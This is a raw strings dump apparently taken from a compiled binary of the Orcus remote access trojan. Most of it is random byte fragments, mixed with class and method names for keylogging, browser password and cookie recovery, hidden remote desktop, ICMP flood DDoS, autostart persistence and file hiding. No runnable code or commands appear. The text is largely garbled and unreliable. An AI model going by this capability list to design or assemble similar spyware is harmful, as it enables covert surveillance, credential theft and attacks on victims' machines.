=KN
J{ye
@Pp
gE5L
DataFlow
_unloadLock
get_UrlString
6qw.~}
d[Q6
get_Parent
<z	/#
\6=
Taw]
VOr@MV
_encoding
8}Lv
g4:i
Ry&d
DiE2
Z:I
AC>(d
uy6ta
>T^6
K~'K:
dmColor
ZXT8"bG
DesktopWallpaperStyle
costura.orcus.plugins.dll.zip
!# y/s
ReadLine
DESTROYCLIPBOARD
8H\o
wVgPZ
f{}{
1Bf;
UrlString
l17a
WLfA
h'zE
}rhF
Np/\
f`/p
<f):5
PrintWindow
@GKZCv
6MA(
E4F(
<'9
$T}aR
ye	=
WY!I
set_StartTime
!_A
q=z&C
set_ProtocolName
B	+
"N%
Ucv0'
yNq?
p?11
;&X{
fnJV
Dq{[d6[
B\Ym
get_StaticCommands
fids
@~ZV
\}%(vS
VAaE}/
?~I?""
u!Y"VkH
lfg;
.?[wI
rv~_
8YhH?If
XNF=
Bottom
l\!</p5Z^$C
ba={.~
<dCR
7&>s
I
O3
n?]V
N FY
^9%uZK
IZ
4
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.UninstallPrograms.UninstallableProgram>.Current
;F6
>u\
GetIconFromPath
tu4
KhUO
style
f$B!
QUEUESYNC
dV@NFj#
\9Yu
%
ty
;7t[
}a$Y
add_ErrorDataReceived
Binder
taZv
3MscY
set_IsEmpty
)nk<H%
^tx!\
)2	O
B)L9
Ri5
get_FactoryCommandPlugins
SC_HSCROLL
ProtectedData
AppendLine
dVKf
5WS
gdi32.dll
GetCommandLineArgs
#j],)
e*H
\VC.
Rpx[
jHc!
a3<@o
0u
J
M2t
"WG+l
\:Of
7BY.U
X4t7
=@d3
H<7+

<Decrypt>b__1_0
GetTickCount
IEur
<DesktopName>k__BackingField
3(BJ
aP9d
SendMessageTimeout
=UAfW
LivePerformanceCommunication
Mzb]
<E!@7So#
0M}*
+k$H
Da]E
~
n.
*7(-J
c4bN
f(cZ
+	W9
Z)AG
}QExs
dL#
forcePush
_JRd
'7yk!
tvt<K
?Pw=
*~e
pE
7
unknown
!B!
\-Xj
zZ(#
zt(
BzD
?_Sd
;V@;
J"|
_$
ACTIVATE
hB [c{N~t
f"4M
get_Stride
7Pvw
rH|/
dmLogPixels
set_MemorySpeed
<	W'^
SHr(
[#8X-F
2|Z}
get_PluginVersion
Ca:Z
QX%|%|+t
Block
TextBox
NPf=
> Fh7
{BR/K
CkJ0<
a.DLL
_instance
wx\
?V
B?J
9<r
set_IsEnabled
/)2v
DataContractJsonSerializer
+G[b}
<`:R{
ErI
eMW/
RsaEncryptor
KillButton_Click
S+^i
{zK
@lhB
dwPageSize
ToSingle
HTHELP
<Port>k__BackingField
X-GJX
cMu6
${N3K
SRd~
kyi
2VvTp
6,7qJ8n
h=C=
he6
c|J1?a\
-S
zA?
&oIE
MasterPassword
IsDataAvailable
B+<%2D
pg!6B
- |A`
set_IconBytes
>6IKS
`q(;
ZN0g
MFEA
K6v&
]p9#
2fxA
jD@0
lpfnWinEventProc
6zK
InitializeArray
#Y,N
LocalEndpoint
o}I~	|r
JJ@!
&I(R(e(u(
L%g&
`8H\
!NW[
Orcus
b&ZG@T
?%o.
4/aM
Orcus.Shared.Commands.ClientAction
6i<u
PtOj
hDci
m{u.
x/$;
R3r!
LBUTTONDOWN
li)?
RsaHelper
ud\U!6
ph2<
#Rvi
@@]&l
P
IJ
<AddToAutostart>b__0
zq}''P
Tl9]
Y16IL$_
Drm[[
eYz
5]Hh
TimeSpan
k(?G,
!~1:
dD	F
yY!2
YR\Y
)O8,A
x.
G
desktopWindow
]#*ru
9Dmcm
o]
O
r'+
set_WorkingSet
set_AddressFamily
cV*l
v[,hh
ResponseBytesEventArgs
ManagementObjectSearcher
ge,
<6tY!
Dzz
q6_j
38?{
63CU
>1Bo
`p9\
=H{Q
!1a
cgd"
DPya:
#/o|
@?r"W
;
O\0~
ZJm(V
k@ =o
n6T>
UtRR
dO[O
jT`~
YUva
c
'
{`rc
Form
??Z7
\1CW>qC
IsOnVirtualPc
8'mV
//X\5}
recoverCookies
!W}U
G
P45V
DataReceivedEventHandler
set_DriveFormat
&2H
^Wz-
RemoteDesktopCommunication
vA}z
IWaveSource
&6v-
FilterInfo
LiveKeyloggerCommunication
_keyboardHook_StringUp
i6CbB
DDoSManager
a["
PtrToStructure
Degrees180
I=D=
FileInfo
%h#/+C
/i//
PackageReceived
yEGR
'hMb
RegistryKeyPermissionCheck
}@Y]
@L=+
8
*z
&,W>=
D? Y
a4o%c
GW_CHILD
SF`[~
q%y
h
PG	u
tq=/
AddLast
:
N&{
mikiv6
R~kW
icmpData
set_L2CacheSize
bHrO
{IvVGNq
pe9Id
'q?L
3]q72s
's
Pez91
GetAssemblies
<>c__DisplayClass6_0
r*R/
<E
F
K{i~
iqag
T33{+A
Nk	:
cy
	S
SXL/
Dy5m[
ExpandEnvironmentVariables
R |l
get_Shield
r*!
},I
<ValueKind>k__BackingField
ha/[
W%;a
add_Elapsed
SendMessage
1oII
UDP_TABLE_BASIC
8G0
r
;W4"P
x+syp
1-?
FindTask
/6`'?
set_IsDefault
4i=m
lOJN
SbbR
6Q(
gL
v
8}.c
E
[.
3lS9
|Iv^
SysListView32
X$<=&
$}F{
NCHITTEST
set_VideoProcessor
ProcessNames
7m6H
gqd
bO/
G wc
mV<_
8w48?
=xz5
set_IsVisible
@6/b
,a.?
]	v)8
t.V?
nQ9@
serverPackageType
0XH!i
c<Uy
Path
,MaL%
5<!
Ik@|
%cD-
S_sQ;k
m.QA
059
ag34
^!N)
get_TwoLetterISORegionName
ICONERASEBKGND
-+vO
`q\T`k
R}E0
=S~N<^
&]La.
<Value>k__BackingField
Ku[
*T1
"E1)
NEWCREATIONDATE
,W	s
&"?A
S
U~
?.
'j[g
GaVJ{'
}#%z
/gy)
littleEndian
MessageBoxCommand
5X<
m=xz
E4M
SendButton_Click
3)_k
BlockCopy
3-R+
?iB)
lpRect
&Q\
Orcus.Commands.Console
BmIUO
u[wT0
2KFX
\%4
$
i\f#
R!wj4f
B~dA
N=|M
shelldllDefView
TdF
isCs
Q$0
GetAllNetworkInterfaces
DF1b
gfKAr
$"BM
FileTime
)L+\R
get_Handle
{NCG
bL	[
_obj
*^~
Yx4>
)%\(
CSharpCodeProvider
26q=c'/C}
NativeMethods
wj?S
T\5i6!+T
StringBuilder
W@N}
x>t(
3@(b
get_TextLength
G&n4
UnhookWinEvent
p<UTj
7IHf_
yN{,h
#|\ @
^?Bf
dwXCountChars
Au6b>
*^
get_Errors
L):uE
PM4Jk
<ShowWindow>b__0
y`~7
NCCREATE
C<B`
<dh8
E(/R iL
F5o0
%r1
COMPAREITEM
CompilerGeneratedAttribute
pocsTitle
5nt1
[U_>
FactoryCommand
%oh{
6$59
9m1EK
%[iL
mt c
3<[Z
pr'
.[<y
"y@G
GetFile
h a#
get_Extension
result
,BCT
CHc?-3
`*&*vq
u-lC
get_DatabaseConnection
get_ItemOf
{.3#
"Y9!-
/~jm
O =y
N[x[
rK;^
aryDes
z2:vK
Pw3
:Xpt
CLEAR
get_IV
set_ClientPath
ZOEkxq
gF5"t
UJB
timeCreated
layoutId
Mi
o
set_IsKeyloggerEnabled
efrUh!
FO:
PS	5
PAINTICON
7%dbx
]D-#
C8^<
3]>i
FW6
get_Ip
-Br
|l*J
|u5
2|wu
lm@^
@'v(
get_Id
get_ForeColor
SECItemType
O%wv3u
<.Zl
<7Z[#xnT
)/'"]
sslStream
B
u<,
e.2mi
eo5\
Ng@8
c$mP
Zu6Z
=P5@QmP
U:
=*kf
@
|s
-hmv
8AC
[&k{
N//
(/
l3_|(
arySrc
JnKzZ
PLUGINS
H8jjep;
TCP_TABLE_BASIC_LISTENER
Z|9NEG
symbolNames
\8^&T
<>9__9_0
set_SuppressKeyPress
xuYmd
EycO
':Wlt
Initialize
GetAddressBytes
IME_ENDCOMPOSITION
;A/E
ActiveConnection
n2E}
o0o*
PY>V
Last
5mad
dUEO+
g3B|
enable
SendTextMessageEventArgs
DrawDesktop
3_0{]
c3A
5
ree:_H
JT&y
BxV!<
Orcus.Shared.Commands.FunActions
TCP_TABLE_OWNER_PID_ALL
~4!NR
WCF_PAINTMETHOD_PAINT
get_Unicode
HJo944J
set_Verb
Y b }
$O4QX~
_hookDelegate
WindowHandles
_h=O
71zSM
P_T:k
get_ConnectionId
set_VolumeLabel
#f>A^
i}l@8
PasswordRecoveryCommand
HTOBJECT
\`(
6c-w
:_?#J
)<MQtF
>66
7w9'
'.&`
h#M{
ftLastUpdated
w`'z
bPM}10u
IRV,
'#z=
`\;AR
GetCpuSpeedInGHz
PCTz
h}C}
mBO
<
,!AQ6
RxC	oH
`%M)
Gzqm
PbHL
<LPyE
-1x {
o`Gr
get_EntryType
#Z	Y8M
<7T(
Orcus.Shared.Plugins
9zo
Yandex
\g;"
VQvj
Orcus.Shared.Commands.EventLog
u/@#z
mx: ;
m[x
G[sM
&f,d3g
7h;]
o=b`i
_tBg0
\_nGh
Command
CompilerError
System.Collections.Generic.IEnumerator<Orcus.Shared.Commands.Password.RecoveredPassword>.Current
zZml_f
C
<2"M
x`L"
J%'K%'K%'K%'K%'K%'K%'K%'K%'K%'K%'K%'I%'I%
#333333
TsF
>
Tig/
6X~}
n8g2
PAINT
RSKA
)si1H
R/>~4
.W._
v\c=
get_Top
v`SL5
<foFgF3S
Kx>a
|MP
$#:|
|d7e5W
+;8S
yrc|
i)1
(WkJfG
get_ReferencedAssemblies
\6C,
{&&
t^ggP
EditorBrowsableAttribute
CP$6G
5P5p5
`Cb}C
get_Image
l\ti
]t,b[
fas@
'	DH
ihhi
&4YA
JXdK
l2d>
CarriageReturnAndLineFeedReplacement
EK)E
c>"#Z
j0-Y
h]ff
g	o<Z+
c/u
WM_LBUTTONDOWN
_|b7
=5@FG
{&)pf
"neqw6L
1-P;
get_DriveFormat
nXSrc
|Ys
A8!8
_sslStream
x:rF
Pz_H
PV	e
state
E/yY
b?^,
)r	E0
|J
Ohb
(:WI*
Load
i9E,
1^|w
+KMS2M
EiB0
;q
d
2F3b
Nkl8
set_IsClosed
[t{
lxo
shell32.dll
&VBd4
CurrentUser
nir|''
%8|-
;a;*2
|&)_
9Of;B
IME_KEYUP
SIl:
yeRAi
yu==
V"nl
lJRc
<nPxa
Attach
Yy}
get_IsConnected
BeginInvoke
GetValueOrDefault
lte-4{
Orcus.Shared.Compression
dEK4
ProcessId
q
h1
F(YE
TDOT
AddMilliseconds
q;~?
7E<:
fl%>
"dhc
$q|2r
i7H/
B:9<\
setRunAsAdminFlag
BNYGW
g#~H
Nspd
ICONINFO
p
}pB
gZP-
G*.V
"!oA
MQ.!
C?}
bG&H
O'i
SHGFI_ICONLOCATION
A~,RK
EntryName
S}g
_receiveLock
3bOs
get_Entries
?4L
c@T\f
\W:
U96Iy
M$:U5
uJ-g
<IsDataAvailable>k__BackingField
IE+X+
cv;zA
GetMozgluePath
Py4W
~>}l-
9jc/H
(&wu2
,qjy
P+PIPYP
QF'K
e@[=j
get_TickCount
gIm=
_U?vx
M,CzDC
<LoadPlugins>b__22_2
lkJ(
)$z
Ge "
MKgS
Q:8Ne
5bZC
4E9P
<LoadPlugins>b__22_0
%aI{
- \8
>7v}
Time
%?w
fNFFz
^N({@
add_KeyUp
e~O$
U:[c@
dGGM
_G.Gl
pCIN
^{Hl
dGGu
*cR/
1/~dM
get_StandardInput
g|h'
cpBBe
Orcus.Service.WindowsService.resources
_lastWindowTitle
I% z
qis!
dmYResolution
C:L
;7
4S^p
}_9|
tks
|!
X
1r?
JEx>
)
6&c\p
27HwfM
\p@
|LN|
L.jS
D#n!
FBXq
ExceptionInfo
KeyboardHookStruct
rk>O
Px38|
w7Ma
pr@#
<bz:
,))w
i4x_
'N~s
V."-
CDS_TEST
,h"V
trg8
caseInsensitive
G+V%
)9]3
dS$*
lH:b
2
rh'
/IU?)
E{-y
sw*K
<EntrySalt>k__BackingField
[m?
`N/U
i(.w
]|qb'Yr%]
SYSCOMMAND
<GetOperatingSystemInformation>b__4
)~E!
<$8\7
e~OO
Orcus.Commands.ClientAction
p}f)Z
$<>f
Packages
F0Y3
(pk
~W
~KM
VS
tn(vv
>	<7
`qK0
at!s
;LW6
gP>h
//y{
fc%]
(!E
&8Tk?
H<Hcs>M
Sj>z"]_
g
) SA
@XfI
1t3:
L/s&p+
@0NX
cPcnz
xs_p{
)2*%
<>7__wrap3
<>7__wrap2
<>7__wrap1
fnr)
zi?OI5
<>7__wrap4
<*x
Ri-P
@9AJASAaA|A
L\|L
S_YI
AllAccess
zrbfk
VMyn
<,d8
X!G
v.&rH
ResponseByte
q(5Q[6
=Ga5.
desktopHandle
f`
z
H
y
=Fw5
dsy7
t
->
wShowWindow
]FJ
/'yt
m:6a
FieldInfo
qB>
B'%t
3;9O]
ON~q
I}Jjv
(G=2
<CommandCollection>k__BackingField
O>
\r
eY	=
040KY
\$W)g;eJ]KY`z
sh(q
<@
}eY{x
'!
Q
>D!
.
<mb7
5ZNM
HgR\
J2A!M
w|Gx
1	ty
l9Ty
3<:W4Gy
get_Bottom
qeo
!
g~7u;
lQ~Y
7x,j
_lastWasDeadKey
}uIfO
BsC
tgYL
a\WI
aH7R
H_uqC
.ZRT
QPfwv
3a>
?!^;
lpMaximumApplicationAddress
r^(P
_0v%b
<PSize>k__BackingField
"$T{
7X9Q8
8*3w:2
D6?g
Lv>M
3-*5
get_DirectoryName
y"4_
b}O!
_$7>~<|
2g
R
D9c/
Kc;
P
(2
qG~g
smC]#
Q'r4
n$tW
costura.microsoft.win32.taskscheduler.dll.zip
s\1T$
RcD3/
?aW#
chEG)
uB;4
f*KAq
s83C
;:(Zmu
Z	!#
mFfuP$_W7Cs{(
Y
~M
i'4q
Orcus.Shared.DynamicCommands
eWKl
=$zI,$q=
SendError
<.\:
<GetAudioDevices>b__4_0
T6GTS
1.}U
wqwu
F'`+
<FrameworkVersion>k__BackingField
5<J<n
keyDown
1d-J
tJC|Y>i
MessageTextBox
d^rs
<AdministrationConnections>k__BackingField
lparam
hS</d?+z1
commandResult
L&/Y
vr4y
U+J&
L4_z
IME_CONTROL
[dVt
LoadPlugin
%DEy
set_AppContext
FJ%6
{cezz
c%9d
M`-(Yu
FormStartPosition
V"N1O
U"_`
GTT
isInstalled
MessageBoxIcon
;[`Sa \-
GetValueNames
set_ExternalClockSpeed
qzwU\
6	\X
System.Threading
set_PublicIp
65pK
` g
65:A
o
oD5X
TimeHelper
,<:j
q''0m4&
$
[*k
AsyncReceive
ZiS
[
UnhandledExceptionEventHandler
3!&
eGlP
Yv4d
GeKG
set_IsReady
GetDirectories
:m9
_5@*3m
lQ)s
?u^Ib
set_Item
e8Cj
1
Nr]^
wohD}U
3=Uz
~b/q
e(S_%C
GetHostName
i8m!
RP&7
sQ^o9
sydD
YiE
0Nfs
'=!`
MMDevice
[G$$
Trigger
[4zo
m#5N]
efgfw
Qvi+
encryptedPassword
>sG0
^9L9c
_
rM!2
!:R~
Orcus.Shared.Commands.UninstallPrograms
get_Current
>qiv
A]X;R[
Rectangle
t_nX
JMpEk
RotateFlipType
w^a}
:d.m
9yu7
<GetOperatingSystemInformation>b__1
SetCompatibleTextRenderingDefault
Task
xm4p
efYS
n8=L
% !*
;1Q;
@UfB
+1r,
n	jU
get_TotalSeconds
<>c__DisplayClass0_1
r,j]
Y;2t
yqG&
G|:_
fFO$
AsyncOperationManager
rXF?{
r%ZP
-qgU
N-Oo
paE&
OVZf
n{;X
o=E[O
BlockInput
C0'
`3Ug
vi@lMJ
zQvw
currentFile
dms$
RvUO
j2J6
G#b5R\
dwTime
Compress
DoAction
_keyProcessing_StringDown
$/PL
x{^4
Ohj
#eX9
az&H
kEJT
Next
EndsWith
@W*Z
4Vq]
TG(
d;zig
w^M2
set_SelectionColor
DISP_CHANGE_RESTART
*Vsd
(oZ?
SPIF_UPDATEINIFILE
I}i~
n<!!
!v
^p
5k]Ey
Z%9$&
+6(S
,y|4K
uW=X
&I;n
get_Objects
VvibE
[zz
set_ProxyOption
q^y#
t#;(
T{LM
set_Timestamp
ndu|
dictionary
Fr}T
n<!E
SynSockets
L1V4
ANUp
7#v&
VE)c
H[WK"
culture
*@a
;IV#
5kj
Xt z2
sRT{
~Dp;
3p)V
? /
wP:fSEv
5,ry
MyEnumThreadWindowsProc
<'=&
q>x
EVENT_OBJECT_NAMECHANGE
"W^Wb
5W)/
4rl
MAKELPARAM
Disconnect
fVo
|df
WebcamSettings
)0jI
k&?
S?a87
S`CA\
pT6>
R+^Nf
N)RH
}9xPi
HX;h
CreateCompatibleDC
L8@\
get_HvncActions
timestamp
.7px
Ja
~
`9AT0
HBjD
El_dx
hideFile
~";	G
?$XN
E!'RN
eo"Ai'
get_AutoResetEvent
set_ProxyHost
WH_CALLWNDPROCRET
pa
BYr4
Rfr|
Fk
5E
get_DesktopName
HY>v
ah~_
I;K|sENp
&+  N
xHotspot
%yYb
qR8O.v
SYSCHAR
;Xc4
H~Cy)
y
$a
I7%5'=
OH?
'#AGv
;uD7W
_@@
Bg%t
EventLogCommunication
GetHashCode
UBWC
w2Z0
SetWindowsHookEx
set_DesktopName
YiiYh
&1B6
sX6
^
WriteByte
GetTypeFromHandle
IAsyncResult
Yvm
FileAttributes
Kgc
O
zk^}
sdUJG
Oin#
U8OF
l=[Y
+e
JY/
TextChatCommunication
Z
}+9
;OxW
rPli
AccessRights
GetDelegateForFunctionPointer
^^yD
/bF:h.Pu
pO?C
IgjxA
rD'
'|u]U
ButtonBase
GetBytes
B|8'
WfC?k
]NOg
~#y
>mJH(,
nmi&
IcmpFlood
4Z&a
iu@3c1
7dRK
Bq!u
BdFZ
>PH?A{
2N
E
Nqi
b.wB
X/@W
?Xxc
childAfter
W|&l
dwOutBufLen
Q|/V
System.Runtime.Serialization
gU,8
u
x`{<
_Z
$g@h
tqCokmZ
k+>$
(|D=
\]*5
X	Zt
#^
BiJ6
SHGetFileInfo
J)wDa+G
KeyUp
-.,-
qJfX&3,
C^zw
o$Z#8
4iyF
GetProcessById
lpFileTime
`*Fy
x(.
v0.p
;nW'
Ujf1
VB.1
V^i3
Cug= C
p$B
D
LoadLibrary
YSA>Z77
IESecretInfoHeader
:EG]
ResponseResult
NewFrameEventArgs
System.Runtime.InteropServices
set_TotalMemorySlots
RegistryExtensions
MA_NOACTIVATE
soundOut
Jm!x
GetSystemProxy
DRAWCLIPBOARD
r{Wv
E_W/
wZbz
<wK}P
Py*2
in+^
s
}oX78
1T9&
~
[9}$
VSCROLLCLIPBOARD
.d&8@Ab
`t;Sc
&Vn7
Mu!y
NOTSRCERASE
xBpa
o
_N,'Chb
o(l8
&pZ
MNip
/n:>YL<
W,"
#j#i6
Is7/
<GlobalSalt>k__BackingField
IaN/
System.Runtime.CompilerServices
_Ras
cN9'
ioy2
_currentConnectionInfo
[}+W78%
o;S-c
#[5W
WS_OVERLAPPEDWINDOW
<-9M
)O)w+w)!
[9}j
hF}4
0!XpCK
,.,c
Li$d
"o?*}
C/A$]
eg$@
FileDownloader
,
-
hProcess
(
Q/]]mF
+ r?A
J?
ReadObject
:so(
V9Fg
K#1;"&
set_AutoScaleDimensions
CTLCOLORBTN
*bs
oU3z
HECi
-;
=
/+1A
PxlN
j+O
%r+>
[GYA
dmDuplex
"M;8fhk?2
QNka
l8g
aB[k
7AZ
2e!"e
get_MasterVolumeLevelScalar
6Zrz
&
buZX
/*|nm
p
f#,
96?#
get_Client
AYP5"v
\XS_
System.Windows.Forms
rO"iDP
^7
Hu>l
OperationContractAttribute
UIntPtr
_=.d
Unprotect
Otn
get_Gender
!O6
SC_MOVE
W!cU5
mU?Cm
CSCore.Codecs.MP3
\CwN
N=e:
Sioy
x8uyF
:oP_
Firefox
SECItemLen
EQXP
v)+r
SNO
&k:!
M6?I
XUL(
-
EkXB
cG{l
$ehV ^
+{zx
5}ih
UY,Q
O^q8
;J=h
#sxtk
TmRJt
MENUCOMMAND
_pDHJ
#}uQ
c83)
od^:
@0)=
CompressionMode
Enter
_floodingJob
X>2-
;BVs
Lt.E
*

i
%Tr2UT
dwYCountChars
^C=B
i? x
*Wg8
YMjF
xT0*\
}YQe&D
Q=?gb
ZTZOWi-b
"z%R2
Y~8/
set_L2Cache
WMV25
tfKQ
>#l.
Gc]#!
V+z{-
W9-
4K~DFJ
4O@#
:dq
0`&Q
o%Z,
scrollDown
.Fdg"
<%N
ji:m
MaxWaitTime
pszContainer
=v,R
c6u\N
;WZ#
STATURLEnumerator
/&>,&
MENURBUTTONUP
,>|s!1Q
!sGgic
RQZ`
Asn1DerObject
;$%$
Y6qBZ
yd3*
#9	ey
([!e
wstrUrl
8j,G
[)A
h9z!N
InfluenceStartup
=^5
@ZA^@&
Cc.O?
UnauthorizedAccessException
lZe
L
J+l
Y"_g
xDz=
DriveType
YuVW
NIw ZYS
zA?
a78i
.4)_
q}6S
RPUA}
o4z1
m.TJJ|
e.ws
connection
set_Height
ProcessWindowStyle
.8lcS
AO\_
7B@
RemoveAllDependencies
`$#2+0
jrYCn%k
XX2
ghE{_
Qe]g
wN~y
P-~`
&z`M|X'
|k)\
HTSIZEFIRST
]"4S
54xc
$JzQ
~7!u?
y/KB
%K*B
1(:3
GetHostEntry
_videoCaptureDevice_NewFrame
J]5	bA&
4WAV;
^q]M
Y)(p
uu>[
CALG_SHA1
IME_STARTCOMPOSITION
System.Net.Sockets
CspParameters
MOUSEEVENTF_LEFTDOWN
Ee,[
WR1r
DuGdDF
$kEY
U[eq
xp"G
B#Cp
C:l*
D
5"
MessageTextBox_TextChanged
*0r4
TPiRA
GetAncestor
SendingType
uF|WHc
set_SystemDirectory
3i'e
3q].
|	<c
RotateScreenshotScreenByScreen
$y+9"l[lg
vY\J
c9
XOl"
Sx=,
4@[=
POINTAPI
set_BitsPerPixel
c^^l
2Ky{A
7.|s
s~ZrA
#<[
: H
p\x:
point
d`'
ByteArrayToStructure
YC
G
Xw%}
6+O
set_BootMode
K~BzE
fCreate
get_Passwords
ToCharArray
`O:[
mZ;#
get_IsDataAvailable
KZi'
Unload
gnnhxCL
_U
t0"T|
$x`h?
<IsCancellationRequested>k__BackingField
GetResponseStream
u\|H
3	-as
J7K{
b~L
>#K\
eUvveG
v~("Z
Bh-o
8w\FKj
cYj
75d^}gC
Encoding
httprealm
?@IW
[U%(
x;+_
E
>NG
V$UY
8DaY
N4Wi@k
VideoInputDevice
Tv_n
get_TotalMilliseconds
MENUCHAR
-J6H
IEnumerable`1
!]&MI
<EntryType>k__BackingField
SetClockVisibility
,j[tZ
@{
set_Port
Z*&T
(n|1
5/NN)
QWL5
GW_OWNER
QK5@
~P[?
get_ToolBase
CryptographicException
;092
mB}K
AesDecryptor
C&h7
Haof%
09|1
JAW#ONg
System.Security.Authentication
TASKSCHNAME
f.IaM
DWMNCRENDERINGCHANGED
L_dn:)
!KHJ
set_LoadablePlugins
c {c4
9V%K
8@-[
-Qj@
.~5OS
elk\
set_ClientVersion
dS_b
,	)h^.
\P[C
<SetMemoryInformation>b__1_1
J5_Y
S <)
<>c__DisplayClass13_0
PF~Z
io#R
rnyf
6Q{m
}]_7
!wA
8
~	#~
gT{Y
w~ZIJvVNnZ^
lz>:?I
FromHbitmap
8kMw
`Y^O+
;BnBo
%g65
6DIS
get_Directory
cb=}
Iks|T
NwCg
~1!S9w
Zero
PlaybackStoppedEventArgs
rNWm
>?%q#Y
<|lo
ZM3pg
"_%_//
%k%4#
/9fQ
<FL4A
*QbM{
PaMA
.[[<
H9F)
KeyboardLayout
,Rf,
7V>@<h
M_x3D
z#IG
p{][
WH_DEBUG
	hv}
hLD^
/n;'
!;Dy
[9o#
_length
%a;2
CryptCreateHash
<SetMemoryInformation>b__1_2
>'Q
L"h,
j.xz
yY]O
>`|~
lsNh
ServicePipe
lQ_P
MA_NOACTIVATEANDEAT
4r'y'i
CLOSE
<>9__10_1
n)}@;
set_Value
MOUSELEAVE
Commands
Orcus.Shared.Commands.TextChat
StringDown
!0R
KeyEventArgs
V
R,z!cNE
^A.h
VR*@
tS~)
System.Collections.Generic
wBx5
&o@
tnSV
+#Po
/n;R
#`}EB
e@f?D
y58
~$x3
Orcus.Commands.Code
zn2I2
!6sK
\?[B{7
w\pG
`-}\0MUa
fYTj
()R6
G_Y>m
ygwqe
Vm-p
<Message>k__BackingField
.`M;
MDIREFRESHMENU
!"'W
gLYC:
:t7Az
&c*M
OnClosed
G8B[<
e|vn
set_CurrentCulture
:!^P
l!c
+_gj
Data4
dA~qe~!
Data1
H^;!
Data2
get_ModuleName
Save
set_Voices
MouseEvent
RegistryValueDWord
get_PixelFormat
Uv]`
&QZ+QZ
rkG.
]P3c
<ProcessCommand>b__3_1
FBzr>
uRm/T
8{D"sa
)
Ka%]o
*6U++
w|AgY
oLf'
SUW2
+9sM
JN7fUs
yhM-Jk
serverConnection
7j!:
Qn)
XmlNodeList
qkoX?F0
<>9__10_0
AppendText
)_">XJ
y#$Q
LpT^
c\Hb
~k5?
~}'8
_MB9
5a8!9
.;EpA
TABLET_LAST
set_Blocking
%x~^>
P1\!
'=T$=
ckq]